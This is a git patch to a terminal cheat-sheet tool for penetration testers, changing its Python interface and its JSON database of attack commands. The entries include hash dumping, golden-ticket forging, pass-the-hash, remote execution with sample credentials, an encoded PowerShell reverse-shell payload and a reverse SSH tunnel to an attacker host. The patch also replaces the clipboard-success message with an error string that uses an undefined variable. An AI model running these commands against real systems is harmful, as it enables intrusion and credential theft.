From ec068e7e1414d8b76ce6792880eead1df0820568 Mon Sep 17 00:00:00 2001 From: "Mr. The Plague" Date: Sun, 30 Nov 2025 16:53:09 -0500 Subject: [PATCH] MUTHUR is now in control --- LICENSE | 0 README.md | 0 commands.json | 173 ++++- cyberdeck | 623 ++++++++++++------ ...numeration-Using-Legacy-Windows-Tools.json | 0 recipes/Active_directory_enumeration.json | 0 recipes/Enumerating-Active-Dir-Using-PS.json | 0 recipes/Linux_Enumeration.json | 0 recipes/Windows_Enumeration.json | 0 recipes/acl-abuse-detection.json | 48 +- recipes/ad-search-function.json | 0 recipes/asrep-roast-attack.json | 48 +- recipes/automated-enumeration-linux.json | 48 +- recipes/automated-enumeration-win.json | 58 +- recipes/av-evasion-thread-injection.json | 48 +- recipes/bloodhound-analysis.json | 60 +- recipes/cached-domain-creds.json | 48 +- recipes/credential-spraying.json | 36 +- recipes/cron-job-abuse.json | 48 +- recipes/dc-replication-attack.json | 48 +- recipes/dcom-lateral-movement.json | 36 +- recipes/dns-enumeration.json | 48 +- recipes/domain-recon-powerview.json | 0 recipes/domain-wide-tgt-forge.json | 48 +- recipes/exfil-linux-methods.json | 84 +-- recipes/forged-service-ticket.json | 36 +- recipes/hot-potato.json | 60 +- recipes/juicy-potato.json | 60 +- recipes/kerberos-ticket-flow.json | 48 +- recipes/kerberos-ticket-reuse.json | 48 +- recipes/kernel-exploit-linux.json | 48 +- recipes/linux-privesc-cheatsheet-g0tm1lk.json | 416 ++++++------ recipes/linuxprivesc_01.json | 0 recipes/manual-enumeration-win.json | 48 +- recipes/netntlmv2-cracking.json | 36 +- recipes/netntlmv2-relaying.json | 48 +- recipes/network-share-scanning.json | 48 +- recipes/nmap-port-scanning.json | 48 +- recipes/ntlm-cracking.json | 48 +- recipes/ntlm-hash-auth.json | 36 +- recipes/ntlm-passing.json | 36 +- recipes/ntlm-relay-attack.json | 48 +- recipes/os-fingerprinting-domain.json | 0 recipes/password-auth-abuse.json | 48 +- recipes/port-scanning-theory.json | 48 +- recipes/powershell-info-goldmine.json | 60 +- recipes/print-spoofer.json | 60 +- recipes/priv-esc-with-winpeas.json | 60 +- recipes/psexec-lateral.json | 36 +- recipes/rc4-to-kerberos-tgt.json | 36 +- recipes/remote-execution-wmi-winrm.json | 48 +- recipes/rotten-potato.json | 60 +- recipes/rouge-potato.json | 60 +- recipes/scheduled-task-abuse.json | 48 +- recipes/service-binary-hijack.json | 48 +- recipes/service-dll-hijack.json | 48 +- recipes/service-footprints.json | 48 +- recipes/service-ticket-roasting.json | 48 +- recipes/session-and-rights-overview.json | 0 recipes/setuid-capabilities-abuse.json | 48 +- recipes/sharpgpo-abuse.json | 61 ++ recipes/sharphound-collection.json | 60 +- recipes/smb-enumeration.json | 48 +- recipes/smtp-enumeration.json | 48 +- recipes/snmp-enumeration.json | 48 +- recipes/spn-hunting.json | 48 +- recipes/sudo-abuse.json | 48 +- recipes/unquoted-service-paths.json | 48 +- recipes/user-trails-inspection.json | 48 +- recipes/using-exploits-privesc.json | 48 +- recipes/volume-shadow-recovery.json | 48 +- recipes/windows-data-exfil-methods.json | 78 ++- requirements.txt | 0 73 files changed, 2241 insertions(+), 1808 deletions(-) mode change 100644 => 100755 LICENSE mode change 100644 => 100755 README.md mode change 100644 => 100755 commands.json mode change 100644 => 100755 cyberdeck mode change 100644 => 100755 recipes/Active-Directory-Enumeration-Using-Legacy-Windows-Tools.json mode change 100644 => 100755 recipes/Active_directory_enumeration.json mode change 100644 => 100755 recipes/Enumerating-Active-Dir-Using-PS.json mode change 100644 => 100755 recipes/Linux_Enumeration.json mode change 100644 => 100755 recipes/Windows_Enumeration.json mode change 100644 => 100755 recipes/acl-abuse-detection.json mode change 100644 => 100755 recipes/ad-search-function.json mode change 100644 => 100755 recipes/asrep-roast-attack.json mode change 100644 => 100755 recipes/automated-enumeration-linux.json mode change 100644 => 100755 recipes/automated-enumeration-win.json mode change 100644 => 100755 recipes/av-evasion-thread-injection.json mode change 100644 => 100755 recipes/bloodhound-analysis.json mode change 100644 => 100755 recipes/cached-domain-creds.json mode change 100644 => 100755 recipes/credential-spraying.json mode change 100644 => 100755 recipes/cron-job-abuse.json mode change 100644 => 100755 recipes/dc-replication-attack.json mode change 100644 => 100755 recipes/dcom-lateral-movement.json mode change 100644 => 100755 recipes/dns-enumeration.json mode change 100644 => 100755 recipes/domain-recon-powerview.json mode change 100644 => 100755 recipes/domain-wide-tgt-forge.json mode change 100644 => 100755 recipes/exfil-linux-methods.json mode change 100644 => 100755 recipes/forged-service-ticket.json mode change 100644 => 100755 recipes/hot-potato.json mode change 100644 => 100755 recipes/juicy-potato.json mode change 100644 => 100755 recipes/kerberos-ticket-flow.json mode change 100644 => 100755 recipes/kerberos-ticket-reuse.json mode change 100644 => 100755 recipes/kernel-exploit-linux.json mode change 100644 => 100755 recipes/linux-privesc-cheatsheet-g0tm1lk.json mode change 100644 => 100755 recipes/linuxprivesc_01.json mode change 100644 => 100755 recipes/manual-enumeration-win.json mode change 100644 => 100755 recipes/netntlmv2-cracking.json mode change 100644 => 100755 recipes/netntlmv2-relaying.json mode change 100644 => 100755 recipes/network-share-scanning.json mode change 100644 => 100755 recipes/nmap-port-scanning.json mode change 100644 => 100755 recipes/ntlm-cracking.json mode change 100644 => 100755 recipes/ntlm-hash-auth.json mode change 100644 => 100755 recipes/ntlm-passing.json mode change 100644 => 100755 recipes/ntlm-relay-attack.json mode change 100644 => 100755 recipes/os-fingerprinting-domain.json mode change 100644 => 100755 recipes/password-auth-abuse.json mode change 100644 => 100755 recipes/port-scanning-theory.json mode change 100644 => 100755 recipes/powershell-info-goldmine.json mode change 100644 => 100755 recipes/print-spoofer.json mode change 100644 => 100755 recipes/priv-esc-with-winpeas.json mode change 100644 => 100755 recipes/psexec-lateral.json mode change 100644 => 100755 recipes/rc4-to-kerberos-tgt.json mode change 100644 => 100755 recipes/remote-execution-wmi-winrm.json mode change 100644 => 100755 recipes/rotten-potato.json mode change 100644 => 100755 recipes/rouge-potato.json mode change 100644 => 100755 recipes/scheduled-task-abuse.json mode change 100644 => 100755 recipes/service-binary-hijack.json mode change 100644 => 100755 recipes/service-dll-hijack.json mode change 100644 => 100755 recipes/service-footprints.json mode change 100644 => 100755 recipes/service-ticket-roasting.json mode change 100644 => 100755 recipes/session-and-rights-overview.json mode change 100644 => 100755 recipes/setuid-capabilities-abuse.json create mode 100755 recipes/sharpgpo-abuse.json mode change 100644 => 100755 recipes/sharphound-collection.json mode change 100644 => 100755 recipes/smb-enumeration.json mode change 100644 => 100755 recipes/smtp-enumeration.json mode change 100644 => 100755 recipes/snmp-enumeration.json mode change 100644 => 100755 recipes/spn-hunting.json mode change 100644 => 100755 recipes/sudo-abuse.json mode change 100644 => 100755 recipes/unquoted-service-paths.json mode change 100644 => 100755 recipes/user-trails-inspection.json mode change 100644 => 100755 recipes/using-exploits-privesc.json mode change 100644 => 100755 recipes/volume-shadow-recovery.json mode change 100644 => 100755 recipes/windows-data-exfil-methods.json mode change 100644 => 100755 requirements.txt diff --git a/LICENSE b/LICENSE old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 diff --git a/commands.json b/commands.json old mode 100644 new mode 100755 index 98fa136..8cda3ba --- a/commands.json +++ b/commands.json @@ -7366,7 +7366,12 @@ "Description": "Use impacket-secretsdump to extract NTLM hashes from a backed-up NTDS.dit and SYSTEM hive (offline)", "Command": "impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL", "OS": "Linux", - "related": [497, 498, 499, 500] + "related": [ + 497, + 498, + 499, + 500 + ] }, { "id": 497, @@ -7375,7 +7380,12 @@ "Description": "Save the SYSTEM registry hive to a file for offline extraction of bootkey and password hashes", "Command": "reg.exe save hklm\\system c:\\system.bak", "OS": "Windows", - "related": [496, 498, 499, 500] + "related": [ + 496, + 498, + 499, + 500 + ] }, { "id": 498, @@ -7384,7 +7394,12 @@ "Description": "Copy the live NTDS.dit file from a Volume Shadow Copy Service (VSS) snapshot to avoid locking", "Command": "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy2\\windows\\ntds\\ntds.dit c:\\ntds.dit.bak", "OS": "Windows", - "related": [496, 497, 499, 500] + "related": [ + 496, + 497, + 499, + 500 + ] }, { "id": 499, @@ -7393,7 +7408,12 @@ "Description": "Create a persistent shadow copy of the C: drive using vshadow.exe (older tool, useful on legacy systems)", "Command": "vshadow.exe -nw -p C:", "OS": "Windows", - "related": [496, 497, 498, 500] + "related": [ + 496, + 497, + 498, + 500 + ] }, { "id": 500, @@ -7402,7 +7422,12 @@ "Description": "Execute cmd.exe remotely on target using PsExec with valid credentials", "Command": "psexec.exe \\\\192.168.50.70 cmd.exe", "OS": "Windows", - "related": [496, 501, 502, 503] + "related": [ + 496, + 501, + 502, + 503 + ] }, { "id": 501, @@ -7411,7 +7436,12 @@ "Description": "Forge a golden ticket using krbtgt hash and inject into current session via /ptt", "Command": "kerberos::golden /user:bob /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:fakentlmhashforkebtgtuser /ptt", "OS": "Windows", - "related": [500, 502, 503, 504] + "related": [ + 500, + 502, + 503, + 504 + ] }, { "id": 502, @@ -7420,7 +7450,12 @@ "Description": "Remove all Kerberos tickets from current logon session", "Command": "kerberos::purge", "OS": "Windows", - "related": [501, 503, 504, 505] + "related": [ + 501, + 503, + 504, + 505 + ] }, { "id": 503, @@ -7429,7 +7464,12 @@ "Description": "Dump LSA secrets with in-memory patching to bypass protections", "Command": "lsadump::lsa /patch", "OS": "Windows", - "related": [501, 502, 504, 505] + "related": [ + 501, + 502, + 504, + 505 + ] }, { "id": 504, @@ -7438,7 +7478,12 @@ "Description": "Use DCOM to execute shell command (calc.exe) on remote host via MMC20.Application", "Command": "$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application.1\",\"192.168.50.73\")); $dcom.Document.ActiveView.ExecuteShellCommand(\"cmd\",$null,\"/c calc\",\"7\")", "OS": "Windows", - "related": [500, 505, 506, 507] + "related": [ + 500, + 505, + 506, + 507 + ] }, { "id": 505, @@ -7447,7 +7492,12 @@ "Description": "Launch interactive cmd session on remote file server using valid domain credentials", "Command": ".\\PsExec64.exe -i \\\\FILES04 -u corp\\jen -p Nexus123! cmd", "OS": "Windows", - "related": [500, 504, 506, 507] + "related": [ + 500, + 504, + 506, + 507 + ] }, { "id": 506, @@ -7456,7 +7506,12 @@ "Description": "Execute command remotely via WMI using NTLM hash (no password needed)", "Command": "/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73", "OS": "Linux", - "related": [500, 505, 507, 508] + "related": [ + 500, + 505, + 507, + 508 + ] }, { "id": 507, @@ -7465,7 +7520,12 @@ "Description": "Perform pass-the-hash attack and launch PowerShell with stolen NTLM hash", "Command": "sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell", "OS": "Windows", - "related": [501, 506, 508, 509] + "related": [ + 501, + 506, + 508, + 509 + ] }, { "id": 508, @@ -7474,7 +7534,12 @@ "Description": "Export all Kerberos tickets from LSASS to .kirbi files for offline use", "Command": "sekurlsa::tickets /export", "OS": "Windows", - "related": [507, 509, 510, 501] + "related": [ + 507, + 509, + 510, + 501 + ] }, { "id": 509, @@ -7483,7 +7548,12 @@ "Description": "List all .kirbi ticket files in current directory after export", "Command": "dir *.kirbi", "OS": "Windows", - "related": [508, 510, 507, 501] + "related": [ + 508, + 510, + 507, + 501 + ] }, { "id": 510, @@ -7492,7 +7562,12 @@ "Description": "Inject a previously exported Kerberos ticket into current session using pass-the-ticket", "Command": "kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi", "OS": "Windows", - "related": [508, 509, 507, 501] + "related": [ + 508, + 509, + 507, + 501 + ] }, { "id": 511, @@ -7501,7 +7576,12 @@ "Description": "Execute remote command using WinRS (Windows Remote Shell) with credentials", "Command": "winrs -r:files04 -u:jen -p:Nexus123! \"cmd /c hostname & whoami\"", "OS": "Windows", - "related": [500, 505, 512, 513] + "related": [ + 500, + 505, + 512, + 513 + ] }, { "id": 512, @@ -7510,7 +7590,12 @@ "Description": "Run hidden, encoded PowerShell payload via WinRS for reverse shell or C2", "Command": "winrs -r:files04 -u:jen -p:Nexus123! \"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA\"", "OS": "Windows", - "related": [511, 504, 507, 513] + "related": [ + 511, + 504, + 507, + 513 + ] }, { "id": 513, @@ -7519,7 +7604,12 @@ "Description": "Create remote process (calc.exe) using WMIC with cleartext credentials", "Command": "wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create \"calc\"", "OS": "Windows", - "related": [500, 506, 511, 514] + "related": [ + 500, + 506, + 511, + 514 + ] }, { "id": 514, @@ -7528,7 +7618,52 @@ "Description": "Use CIM session to remotely execute command via Win32_Process.Create method", "Command": "Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};", "OS": "Windows", - "related": [504, 512, 513, 506] + "related": [ + 504, + 512, + 513, + 506 + ] + }, + { + "Name": "Plink Reverse SSH Tunnel for SMB Pivoting", + "Category": 9, + "Description": "Creates a reverse port-forward (port 445) from the compromised host back to the attacker using plink.exe, enabling SMB access through the pivot", + "Command": "plink.exe -ssh -l kali -pw kali -R 127.0.0.1:445:172.16.228.13:445 192.168.45.197", + "OS": "Windows", + "id": 500 + }, + { + "Name": "NBTSTAT - Resolve NetBIOS Names & MAC", + "Category": 17, + "Description": "Displays NetBIOS name table and MAC address of a remote Windows host", + "Command": "nbtstat -A 192.168.228.120", + "OS": "Windows", + "id": 501 + }, + { + "Name": "NET VIEW - Enumerate Shares on Remote Host", + "Category": 17, + "Description": "Lists available SMB shares on a remote Windows system (works with null sessions or credentials)", + "Command": "net view 192.168.228.122", + "OS": "Windows", + "id": 502 + }, + { + "Name": "WinRS - Remote Command Execution with Credentials", + "Category": 9, + "Description": "Executes a command on a remote Windows host via WinRM using explicit username/password", + "Command": "winrs -r:PROD01 -u:joe -p:Flowers1 \"hostname\"", + "OS": "Windows", + "id": 503 + }, + { + "Name": "Invoke-Command - PowerShell WinRM Remoting", + "Category": 15, + "Description": "Runs a scriptblock (hostname) on a remote Windows machine via PowerShell remoting (WinRM)", + "Command": "invoke-command -computername dc01 -scriptblock { hostname }", + "OS": "Windows", + "id": 504 } ] } \ No newline at end of file diff --git a/cyberdeck b/cyberdeck old mode 100644 new mode 100755 index 002a4b1..7cb6fe8 --- a/cyberdeck +++ b/cyberdeck @@ -14,25 +14,30 @@ try: import pyperclip except ImportError: pyperclip = None - # Default settings default_settings = { 'text_color': 'yellow', 'animation_enabled': True, - 'auto_update_on_startup': True + 'auto_update_on_startup': True, + 'error_log_access': True, + 'muthur': { + 'api_key': '', + 'api_endpoint': '', + 'protocol': 'HTTPS', + 'selected_model': '', + 'models': [] + } } - # Cyberdeck directories CYBERDECK_DIR = os.path.join(os.path.expanduser("~"), ".cyberdeck") SETTINGS_FILE = os.path.join(CYBERDECK_DIR, "settings.json") COMMANDS_FILE = os.path.join(CYBERDECK_DIR, "commands.json") RECIPES_DIR = os.path.join(CYBERDECK_DIR, "recipes") +CONVERSATION_LOG = os.path.join(CYBERDECK_DIR, "conversation.json") ERROR_LOG = os.path.join(CYBERDECK_DIR, "error.log") - # Margin settings for borders -BORDER_MARGIN_X = 4 # Horizontal margin on each side -BORDER_MARGIN_Y = 2 # Vertical margin on top/bottom - +BORDER_MARGIN_X = 4 +BORDER_MARGIN_Y = 2 def log_error(message): """Log errors to ~/.cyberdeck/error.log.""" try: @@ -42,7 +47,6 @@ def log_error(message): f.write(f"[{timestamp}] {message}\n") except Exception: pass - def load_settings(): """Load settings from ~/.cyberdeck/settings.json or return defaults.""" try: @@ -51,7 +55,7 @@ def load_settings(): return json.load(f) except (FileNotFoundError, json.JSONDecodeError): return default_settings.copy() - + def save_settings(settings): """Save settings to ~/.cyberdeck/settings.json.""" try: @@ -60,14 +64,11 @@ def save_settings(settings): json.dump(settings, f, indent=4) except Exception as e: log_error(f"Failed to save settings: {str(e)}") - # Global settings settings = load_settings() - def version_tuple(v): """Convert version string to tuple for comparison.""" return tuple(map(int, v.split('.'))) - def update_commands(): """Fetch and update commands.json if remote version is higher.""" url = "https://raw.githubusercontent.com/DotNetRussell/CyberDeck/refs/heads/main/commands.json" @@ -87,7 +88,6 @@ def update_commands(): json.dump(remote_data, f, indent=4) except Exception as e: log_error(f"Failed to update commands.json: {str(e)}") - def convert_line_endings(input_file, output_file, format_type): """Convert line endings of a file to the specified format.""" try: @@ -97,10 +97,8 @@ def convert_line_endings(input_file, output_file, format_type): input_file = cyberdeck_input if not os.path.exists(input_file): raise FileNotFoundError(f"Input file '{input_file}' not found.") - with open(input_file, 'r', newline='') as infile: content = infile.read() - if format_type.lower() == 'unix': new_line_ending = '\n' elif format_type.lower() == 'windows': @@ -109,16 +107,13 @@ def convert_line_endings(input_file, output_file, format_type): new_line_ending = '\r' else: raise ValueError(f"UNSUPPORTED FORMAT: {format_type}. USE 'UNIX', 'WINDOWS', OR 'MAC'.") - - lines = content.replace('\r\n', '\n').replace('\r', '\n').split('\n') + lines = content.replace('\r\n', '\n').replace('\r', '\n').split('\n') if not os.path.isabs(output_file): output_file = os.path.join(CYBERDECK_DIR, output_file) os.makedirs(os.path.dirname(output_file) or '.', exist_ok=True) - with open(output_file, 'w', newline=new_line_ending) as outfile: outfile.write(new_line_ending.join(lines)) - return f"SUCCESSFULLY CONVERTED {input_file} TO {format_type.upper()} LINE ENDINGS AND SAVED TO {output_file}" except FileNotFoundError as e: @@ -127,7 +122,7 @@ def convert_line_endings(input_file, output_file, format_type): return f"ERROR: PERMISSION DENIED WHEN ACCESSING FILES." except Exception as e: return f"ERROR: {str(e).upper()}" - + def get_wrapped_line_count(text, max_width): """Compute the number of lines after wrapping the text.""" safe_text = ''.join(c if 32 <= ord(c) <= 126 else '' for c in text) @@ -144,26 +139,25 @@ def get_wrapped_line_count(text, max_width): if current_line: lines.append(current_line) return len(lines) - -def type_text(stdscr, y, text, color_pair, delay=0.01, x_offset=None, center_vertically=False, animate=None): +def type_text(stdscr, y, text, color_pair, delay=0.01, x_offset=None, center_vertically=False, animate=None, max_width=None): """Display text with wrapping, safe character handling, centered horizontally and optionally vertically.""" if animate is None: do_animate = settings['animation_enabled'] else: do_animate = animate - if text == "": max_y, _ = stdscr.getmaxyx() current_y = y if current_y < max_y: return current_y + 1 + return current_y - + safe_text = ''.join(c if 32 <= ord(c) <= 126 else ' ' for c in text) max_y, max_x = stdscr.getmaxyx() effective_max_x = max_x - (2 * BORDER_MARGIN_X) - max_width = effective_max_x - 4 - + if max_width is None: + max_width = effective_max_x - 4 lines = [] current_line = "" for word in safe_text.split(): @@ -176,13 +170,11 @@ def type_text(stdscr, y, text, color_pair, delay=0.01, x_offset=None, center_ver current_line = word if current_line: lines.append(current_line) - if center_vertically: total_lines = len(lines) y = (max_y - total_lines) // 2 if y < 0: y = 0 - current_y = y for line in lines: if current_y >= max_y: @@ -191,7 +183,6 @@ def type_text(stdscr, y, text, color_pair, delay=0.01, x_offset=None, center_ver x = x_offset if x_offset is not None else (effective_max_x - len(line)) // 2 + BORDER_MARGIN_X if x < BORDER_MARGIN_X: x = BORDER_MARGIN_X - if not do_animate: try: stdscr.addstr(current_y, x, line, color_pair) @@ -199,7 +190,6 @@ def type_text(stdscr, y, text, color_pair, delay=0.01, x_offset=None, center_ver log_error(f"Failed to display text (non-animated) at y={current_y}, x={x}: {str(e)}") current_y += 1 continue - try: for char in line: if current_y >= max_y: @@ -217,9 +207,7 @@ def type_text(stdscr, y, text, color_pair, delay=0.01, x_offset=None, center_ver except Exception as e2: log_error(f"Failed to display text at y={current_y}: {str(e)} / {str(e2)}") current_y += 1 - return current_y - def boot_sequence(stdscr): """Display a Nostromo-inspired boot sequence with vertical centering and margins.""" stdscr.clear() @@ -243,8 +231,7 @@ def boot_sequence(stdscr): log_error(f"Boot sequence exceeded terminal height at y={current_y}: {line}") break current_y = type_text(stdscr, current_y, line, color_pair | curses.A_BOLD) - - # Auto-update on startup if enabled + if settings.get('auto_update_on_startup', True): type_text(stdscr, current_y, "CHECKING FOR UPDATES...", color_pair | curses.A_BOLD) force_update_all() @@ -253,7 +240,6 @@ def boot_sequence(stdscr): type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "PRESS ANY KEY TO CONTINUE", color_pair) stdscr.refresh() stdscr.getch() - def shutdown_sequence(stdscr): """Display a hacker-inspired shutdown animation with vertical centering and margins.""" stdscr.clear() @@ -278,13 +264,12 @@ def shutdown_sequence(stdscr): if current_y >= max_y - BORDER_MARGIN_Y: log_error(f"Shutdown sequence exceeded terminal height at y={current_y}: {line}") break + current_y = type_text(stdscr, current_y, line, color_pair | curses.A_BOLD) time.sleep(0.2) type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "SHUTDOWN COMPLETE", color_pair) stdscr.refresh() time.sleep(1) - - def get_color_pair(): """Return the color pair based on settings.""" color_map = { @@ -298,14 +283,12 @@ def get_color_pair(): 'toxic green': curses.color_pair(1) | curses.A_BOLD } return color_map.get(settings['text_color'], curses.color_pair(1)) - def list_menu(stdscr, title, items, get_text): """General navigable list menu with scrolling support and margins.""" current_row = 0 max_row = len(items) - 1 max_y, max_x = stdscr.getmaxyx() scroll_offset = 0 - effective_max_x = max_x - (2 * BORDER_MARGIN_X) max_item_width = max(len(get_text(item)) + 2 for item in items) if max_item_width > effective_max_x: @@ -313,14 +296,11 @@ def list_menu(stdscr, title, items, get_text): x_offset = BORDER_MARGIN_X + (effective_max_x - max_item_width) // 2 if x_offset < BORDER_MARGIN_X: x_offset = BORDER_MARGIN_X - effective_max_y = max_y - (2 * BORDER_MARGIN_Y) max_visible_items = effective_max_y - 4 if max_visible_items < 1: max_visible_items = 1 - max_width = effective_max_x - 4 - while True: header_text = "=== MU/TH/UR INTERFACE ===" title_text = f"== {title.upper()} ==" @@ -328,24 +308,19 @@ def list_menu(stdscr, title, items, get_text): for idx in range(scroll_offset, min(scroll_offset + max_visible_items, len(items))): text = " " + get_text(items[idx]) item_texts.append(text) - header_lines = get_wrapped_line_count(header_text, max_width) title_lines = get_wrapped_line_count(title_text, max_width) item_line_counts = [get_wrapped_line_count(text, max_width) for text in item_texts] total_content_lines = header_lines + title_lines + 1 + sum(item_line_counts) - start_y = BORDER_MARGIN_Y + (effective_max_y - total_content_lines) // 2 if start_y < BORDER_MARGIN_Y: start_y = BORDER_MARGIN_Y - stdscr.clear() color_pair = get_color_pair() - if current_row < scroll_offset: scroll_offset = current_row elif current_row >= scroll_offset + max_visible_items: scroll_offset = current_row - max_visible_items + 1 - current_y = start_y current_y = type_text(stdscr, current_y, header_text, color_pair | curses.A_BOLD, x_offset=None, animate=False) current_y = type_text(stdscr, current_y, title_text, color_pair, x_offset=None, animate=False) @@ -360,6 +335,14 @@ def list_menu(stdscr, title, items, get_text): attr = color_pair | (curses.A_REVERSE if global_idx == current_row else 0) text = " " + get_text(items[global_idx]) current_y = type_text(stdscr, current_y, text, attr, x_offset=x_offset, animate=False) + # Scrollbar + if len(items) > max_visible_items: + bar_y = start_y + header_lines + title_lines + 1 + int((current_row / max_row) * max_visible_items) + scrollbar_x = x_offset + max_item_width - 1 + try: + stdscr.addch(bar_y, scrollbar_x, '█', color_pair | curses.A_BOLD) + except: + pass type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "USE ARROW KEYS TO NAVIGATE, ENTER TO SELECT, ESC TO BACK", color_pair, x_offset=None, animate=False) stdscr.refresh() key = stdscr.getch() @@ -371,14 +354,12 @@ def list_menu(stdscr, title, items, get_text): return items[current_row] elif key == 27: return None - def get_command_by_id(commands, cmd_id): """Return the command dict with matching id or None.""" for cmd in commands: if cmd.get("id") == cmd_id: return cmd return None - def _show_msg(stdscr, message): """Display a centered message and wait for any key.""" max_y, max_x = stdscr.getmaxyx() @@ -401,11 +382,9 @@ def _show_msg(stdscr, message): "PRESS ANY KEY TO CONTINUE.", color_pair, animate=False) stdscr.refresh() stdscr.getch() - def _related_menu(stdscr, names, commands): if not names: return None - current = 0 max_row = len(names) - 1 scroll = 0 @@ -414,7 +393,6 @@ def _related_menu(stdscr, names, commands): max_y, max_x = stdscr.getmaxyx() effective_max_x = max_x - (2 * BORDER_MARGIN_X) max_width = effective_max_x - 4 - while True: header = "=== RELATED COMMANDS ===" header_h = get_wrapped_line_count(header, max_width) @@ -423,24 +401,20 @@ def _related_menu(stdscr, names, commands): start_y = BORDER_MARGIN_Y + (max_y - (2 * BORDER_MARGIN_Y) - total_h) // 2 if start_y < BORDER_MARGIN_Y: start_y = BORDER_MARGIN_Y - stdscr.clear() y = start_y y = type_text(stdscr, y, header, color_pair | curses.A_BOLD, animate=False) y += 1 - for i in range(max_visible): idx = scroll + i if idx > max_row: break attr = color_pair | (curses.A_REVERSE if idx == current else 0) y = type_text(stdscr, y, f" {names[idx]}", attr, animate=False) - type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "UP/DOWN NAVIGATE • ENTER SELECT • ESC BACK", color_pair, animate=False) stdscr.refresh() - k = stdscr.getch() if k == curses.KEY_UP and current > 0: current -= 1 @@ -450,19 +424,16 @@ def _related_menu(stdscr, names, commands): return commands[current] elif k == 27: return None - if current < scroll: scroll = current elif current >= scroll + max_visible: scroll = current - max_visible + 1 - def show_details(stdscr, cmd, all_commands): """Command detail view – left: related commands (scrollable), right: details.""" color_pair = get_color_pair() max_y, max_x = stdscr.getmaxyx() effective_max_y = max_y - (2 * BORDER_MARGIN_Y) effective_max_x = max_x - (2 * BORDER_MARGIN_X) - # ------------------------------------------------------------------ # # 1. Header (left-aligned) # ------------------------------------------------------------------ # @@ -480,7 +451,6 @@ def show_details(stdscr, cmd, all_commands): "", # ← second blank line "RELATED COMMANDS", # ← bold header ] - # ------------------------------------------------------------------ # # 2. Related commands # ------------------------------------------------------------------ # @@ -488,7 +458,6 @@ def show_details(stdscr, cmd, all_commands): related_cmds = [get_command_by_id(all_commands, rid) for rid in related_ids] related_cmds = [rc for rc in related_cmds if rc] related_names = [rc['Name'] for rc in related_cmds] - # ------------------------------------------------------------------ # # 3. Layout # ------------------------------------------------------------------ # @@ -498,22 +467,18 @@ def show_details(stdscr, cmd, all_commands): if detail_width < 30: detail_width = 30 list_width = effective_max_x - detail_width - 3 - header_height = len(header_lines) list_max_y = effective_max_y - header_height - 3 if list_max_y < 3: list_max_y = 3 - current_row = 0 scroll_offset = 0 max_row = len(related_cmds) - 1 if related_cmds else -1 - # ------------------------------------------------------------------ # # 4. Main loop # ------------------------------------------------------------------ # while True: stdscr.clear() - # ---- Header ---- y = BORDER_MARGIN_Y for line in header_lines: @@ -532,9 +497,7 @@ def show_details(stdscr, cmd, all_commands): except: pass y += 1 - list_start_y = y - # ---- Separator ---- sep_x = BORDER_MARGIN_X + list_width + 1 for row in range(list_start_y, max_y - BORDER_MARGIN_Y - 1): @@ -542,7 +505,6 @@ def show_details(stdscr, cmd, all_commands): stdscr.addch(row, sep_x, '│', color_pair) except: pass - # ---- Left: Related Commands (scrollable) ---- if related_cmds: visible = 0 @@ -556,7 +518,6 @@ def show_details(stdscr, cmd, all_commands): except: pass visible += 1 - # Scrollbar if len(related_cmds) > list_max_y: bar_y = list_start_y + int((current_row / max_row) * list_max_y) @@ -570,7 +531,6 @@ def show_details(stdscr, cmd, all_commands): stdscr.addstr(list_start_y, BORDER_MARGIN_X + 2, msg, color_pair) except: pass - # ---- Right: Hint (only if related exist) ---- if related_cmds: hint = "PRESS ENTER TO VIEW" @@ -578,20 +538,16 @@ def show_details(stdscr, cmd, all_commands): stdscr.addstr(list_start_y, detail_start_x, hint, color_pair | curses.A_BOLD) except: pass - # ---- Bottom instruction ---- instr = "UP/DOWN NAVIGATE • C TO COPY • ENTER TO VIEW • ANY KEY TO EXIT" instr_x = BORDER_MARGIN_X + (effective_max_x - len(instr)) // 2 type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, instr, color_pair, x_offset=instr_x, animate=False) - stdscr.refresh() - # ------------------------------------------------------------------ # # 5. Input handling # ------------------------------------------------------------------ # key = stdscr.getch() - # --- Arrow keys: scroll related list --- if related_cmds: if key == curses.KEY_UP and current_row > 0: @@ -621,29 +577,24 @@ def show_details(stdscr, cmd, all_commands): if pyperclip: try: pyperclip.copy(cmd['Command']) - _show_msg(stdscr, "COMMAND COPIED TO CLIPBOARD.") + _show_msg(stdscr, f"ERROR: FAILED TO COPY: {e}") except Exception as e: _show_msg(stdscr, f"ERROR: FAILED TO COPY: {e}") else: _show_msg(stdscr, "ERROR: PYPERCLIP NOT INSTALLED.") continue break - # --- Scrolling logic --- if current_row < scroll_offset: scroll_offset = current_row elif current_row >= scroll_offset + list_max_y: scroll_offset = current_row - list_max_y + 1 - # === NEW: COOKBOOK FUNCTIONALITY === - def load_recipes(): """Copy local ./recipes/* to ~/.cyberdeck/recipes/ if target is empty, then load all JSON recipes.""" local_recipes_dir = os.path.join(os.getcwd(), "recipes") target_dir = RECIPES_DIR - os.makedirs(target_dir, exist_ok=True) - # Only copy if target directory is empty if not os.listdir(target_dir) and os.path.exists(local_recipes_dir) and os.path.isdir(local_recipes_dir): try: @@ -655,7 +606,6 